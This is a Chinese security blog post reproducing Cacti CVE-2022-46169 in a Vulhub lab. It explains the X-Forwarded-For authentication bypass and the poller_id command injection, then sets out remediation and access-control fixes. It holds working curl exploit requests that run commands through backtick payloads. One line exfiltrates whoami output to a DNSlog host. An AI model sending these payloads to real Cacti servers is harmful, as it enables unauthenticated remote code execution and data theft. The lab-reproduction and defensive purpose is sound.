Skip to content
Kurisu
Go back

Cacti CVE-2022-46169 复现:认证绕过 + 命令注入

1. 漏洞概述

CVE-2022-46169(GitHub Advisory:GHSA-6p93-p743-35gf)是 Cacti 监控平台 remote_agent.php 中一处未认证命令注入漏洞,由 Stefan Schiller(SonarSource)与 Steven Seeley(mr_me)独立发现,2022 年 12 月公开披露。

攻击者不需要任何账号,只需一个精心构造的 HTTP 请求,就能在 Cacti 服务器上以 www-data 权限执行任意命令,属于典型的”一请求打穿”漏洞,因此在野外被大规模扫描利用(很多僵尸网络用它投递挖矿木马)。

项目内容
CVECVE-2022-46169(GHSA-6p93-p743-35gf)
漏洞类型认证绕过 + 命令注入(未认证 RCE)
影响版本1.2.22 及更早(即 < 1.2.23)
修复版本1.2.23
CVSS9.8(Critical,NVD CVSS v3.1)
触发条件存在 action=2(POLLER_ACTION_SCRIPT_PHP)类型 poller_item 的数据源

⚠️ 版本坑:网上很多文章写”修复于 1.2.22”,不准确。NVD 的 CPE 范围为 versionEndExcluding: 1.2.23,即 1.2.22 是最后一个受影响版本。对比源码可见 1.2.22 标签的 remote_agent.php 与 1.2.16 逐字节相同(仅版权年份不同),官方修复 commit(2022-12-05 合入)在 CHANGELOG 里归入 1.2.23 版本。Vulhub 的靶场镜像用的就是 1.2.22,照样能打。

2. 漏洞原理

漏洞由两个独立缺陷组合而成,缺一不可:

  1. 认证绕过remote_agent.php 通过 remote_client_authorized() 做”仅允许 poller 服务器访问”的校验,而它判断客户端 IP 用的 get_client_addr() 完全信任 HTTP 头,可被伪造。
  2. 命令注入polldata action 中 poller_id 参数未经过滤,直接拼接进 proc_open() 的命令字符串。

先看认证部分(Cacti 1.2.16 lib/functions.php):

function get_client_addr($client_addr = false) {
    $http_addr_headers = array(
        'X-Forwarded-For',   // ← 排第一,最先被采用
        'X-Client-IP',
        'X-Real-IP',
        'X-ProxyUser-Ip',
        'CF-Connecting-IP',
        'True-Client-IP',
        'HTTP_X_FORWARDED',
        'HTTP_X_FORWARDED_FOR',
        'HTTP_X_CLUSTER_CLIENT_IP',
        'HTTP_FORWARDED_FOR',
        'HTTP_FORWARDED',
        'HTTP_CLIENT_IP',
        'REMOTE_ADDR',       // ← 真实来源地址反而排最后
    );

    $client_addr = false;
    foreach ($http_addr_headers as $header) {
        if (!empty($_SERVER[$header])) {
            $header_ips = explode(',', $_SERVER[$header]);
            foreach ($header_ips as $header_ip) {
                if (!empty($header_ip)) {
                    if (!filter_var($header_ip, FILTER_VALIDATE_IP)) {
                        ...
                    } else {
                        $client_addr = $header_ip;  // 第一个非空且合法的 IP 直接采用
                        break;
                    }
                }
            }
        }
    }
    return $client_addr;
}

再配合 remote_agent.php 里的 remote_client_authorized():它把 get_client_addr() 得到的 IP 反解成主机名,与 poller 表里注册的 poller 主机名比对。默认安装下 poller 表的 hostname 是 localhost,而 gethostbyaddr('127.0.0.1') 恰好返回 localhost

然后是注入点(1.2.16/1.2.22 remote_agent.phppoll_for_data()):

$local_data_ids = get_nfilter_request_var('local_data_ids');
$host_id        = get_filter_request_var('host_id');
$poller_id      = get_nfilter_request_var('poller_id');  // ← 未过滤,原样取值

...
case POLLER_ACTION_SCRIPT_PHP: /* script (php script server) */
    if (function_exists('proc_open')) {
        $cactiphp = proc_open(read_config_option('path_php_binary')
            . ' -q ' . $config['base_path']
            . '/script_server.php realtime ' . $poller_id,   // ← 直接拼进命令
            $cactides, $pipes);
        ...
    }

proc_open() 的字符串形式走 /bin/sh -c$poller_id 里的反引号、;|$() 都会被 shell 解释,形成命令注入。而 $poller_id 来自 get_nfilter_request_var()——不做任何过滤

3. 认证绕过:X-Forwarded-For 头欺骗

由于 get_client_addr() 遍历头列表时”先到先得”,攻击者只要在请求里带上:

X-Forwarded-For: 127.0.0.1

get_client_addr() 就会返回 127.0.0.1(真实的 REMOTE_ADDR 被无视,因为循环在 X-Forwarded-For 处就 break 了)。随后 gethostbyaddr('127.0.0.1') 反解为 localhost,与 poller 表默认主机名匹配,认证直接通过。头里的逗号列表也只取第一个 IP,X-Forwarded-For: 127.0.0.1, 8.8.8.8 同样有效。

对比实验——不带伪造头,请求直接被拒:

# 无 X-Forwarded-For:认证被拒
$ curl -s 'http://127.0.0.1:8080/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=1'
FATAL: You are not authorized to use this service

# 带上 X-Forwarded-For: 127.0.0.1:认证通过,返回 JSON
$ curl -s 'http://127.0.0.1:8080/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=1' \
    -H 'X-Forwarded-For: 127.0.0.1'
[{"value":"U","rrd_name":"uptime","local_data_id":"6"}]

4. 命令注入 Payload

最经典的 PoC 来自 Vulhub,用反引号包裹命令(+ 会被 PHP 按 URL 编码规则解码为空格):

# 盲注验证:touch 一个文件
curl -s 'http://127.0.0.1:8080/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success`' \
  -H 'X-Forwarded-For: 127.0.0.1'

注意两点:

执行 id / whoami 并回读结果(注入是盲注,命令输出不会直接出现在 HTTP 响应里,先落盘再从容器里读):

# 执行 id,输出重定向到 /tmp/pwned(注意 > 后也要用 + 编码空格)
curl -s 'http://127.0.0.1:8080/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`id>+/tmp/pwned`' \
  -H 'X-Forwarded-For: 127.0.0.1'

# 在靶场容器里读取执行结果
docker exec $(docker compose ps -q web) cat /tmp/pwned
# 输出示例:uid=33(www-data) gid=33(www-data) groups=33(www-data)

除了反引号,;|$() 等 shell 语法同样可用。由于没有回显,实战中常用两种方式确认命令执行:写文件后二次读取(如上面这样),或 DNSlog / OOB 外带

curl -s 'http://127.0.0.1:8080/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`curl+http://your-dnslog.ceye.io/$(whoami)`' \
  -H 'X-Forwarded-For: 127.0.0.1'

5. 复现过程

5.1 起靶场(Vulhub)

git clone https://github.com/vulhub/vulhub.git
cd vulhub/cacti/CVE-2022-46169
docker compose up -d

Compose 里是 vulhub/cacti:1.2.22(注意:这个 1.2.22 是含漏洞的)+ mysql:5.7,Web 端口映射到本机 8080。启动后访问 http://127.0.0.1:8080 是 Cacti 登录页。

5.2 初始化 + 准备可利用的数据源

  1. 用默认账号 admin/admin 登录;
  2. 跟着初始化向导一路点 Next,完成建库建表;
  3. 关键一步:创建一个新图形,类型选 “Device - Uptime”(默认图形类型触发不了注入,必须有一个 POLLER_ACTION_SCRIPT_PHP 类型的数据源)。

命令注入能打成功依赖一个前提:host_id + local_data_ids 组合必须对应一条 action = 2POLLER_ACTION_SCRIPT_PHP)的 poller_item 记录。初始化后的默认主机就是 host_id=1(Local Linux Machine),而创建 “Device - Uptime” 图形会生成对应的数据源,local_data_ids[0]=6 恰好命中。

如果不知道哪个 ID 组合可用,Metasploit 模块(exploit/linux/http/cacti_unauthenticated_cmd_injection)的思路是暴力枚举 host_id 15 × local_data_id 1100:用随机的数字 poller_id 发请求,凡是响应为非空 JSON 数组(元素含 value / rrd_name / local_data_id 三个键)的组合就是候选目标。

5.3 打

# 无 X-Forwarded-For → FATAL 拒绝(对照组)
curl -s 'http://127.0.0.1:8080/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=1'

# 带 X-Forwarded-For → 命令注入执行 touch /tmp/success
curl -s 'http://127.0.0.1:8080/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success`' \
  -H 'X-Forwarded-For: 127.0.0.1'

# 容器内确认文件已创建
docker exec $(docker compose ps -q web) ls -l /tmp/success
# -rw-r--r-- 1 www-data www-data 0 ... /tmp/success

响应体里看不到命令输出(Vulhub 原文:“Although no command result in the response”),但 /tmp/success 确实被 touch 出来了——盲注 RCE 成立。拿到 shell 之后常规操作:反弹 shell、提权、横向,这里不再展开。

6. 修复

6.1 升级版本(根治)

升级到 1.2.23 或更高版本。官方修复 commit(b43f13ae,2022-12-05 合入)做了三处改动:

  1. remote_agent.php$poller_id 改用 get_filter_request_var() 做数字校验,且 proc_open() 前用 cacti_escapeshellarg($poller_id) 转义——命令注入点封死
  2. run_remote_discovery()network 参数同样加 cacti_escapeshellarg() 转义;
  3. lib/functions.phpget_client_addr() 重构,引入 $proxy_headers 配置项(见下),不再无条件信任代理头。

6.2 收紧 get_client_addr(1.2.23+ 仍需手动配置)

升级后 get_client_addr() 默认行为仍是”信任所有已知代理头”(向后兼容,会打 WARNING 日志提示未来默认改为 false)。务必include/config.php 里显式设置:

// false:只信任 REMOTE_ADDR(推荐)
// true:信任所有代理头(不推荐)
// 数组:仅信任列出的头,如 array('X-Forwarded-For')
$proxy_headers = false;

这样即使有人伪造 X-Forwarded-Forget_client_addr() 也只会返回 $_SERVER['REMOTE_ADDR'],认证绕过直接失效。

6.3 访问控制(纵深防御)

remote_agent.php 本来就是给 poller 服务器调用的内部接口,理应只对 poller 开放:

# Nginx 层限制:只允许 poller 服务器访问
location ~ ^/remote_agent\.php$ {
    allow 10.0.0.10;   # 替换为实际 poller 服务器 IP
    deny all;

    # 反代场景下统一覆盖伪造头,杜绝 XFF 注入
    proxy_set_header X-Forwarded-For $remote_addr;
}

网络层防火墙同理:只放行 poller 服务器 IP 访问 Cacti 的 80/443。注意不要简单粗暴地全局拦 X-Forwarded-For——很多环境反代/WAF 会合法附加该头,正确做法是让应用只信任 REMOTE_ADDR(即 6.2 的配置),反代在入口统一覆盖 XFF。

6.4 检测

小结

CVE-2022-46169 是”信任客户端可控头 + 危险函数未过滤参数”两个低级错误的经典组合:一个 X-Forwarded-For: 127.0.0.1 绕过基于 IP 的弱认证,一个未转义的 poller_id 直达 proc_open(),最终拼出无需认证的 RCE。排查自己资产时,先看 Cacti 版本(1.2.22 及更早全部中招,别被”1.2.22 已修复”的错误说法误导),再确认 $proxy_headers 配置,最后用上面的 curl 在授权靶场里验证。


Share this post:

Previous Post
SSTI 模板注入:检测、利用与修复
Next Post
Vulnhub DC-1 完整渗透:从信息收集到提权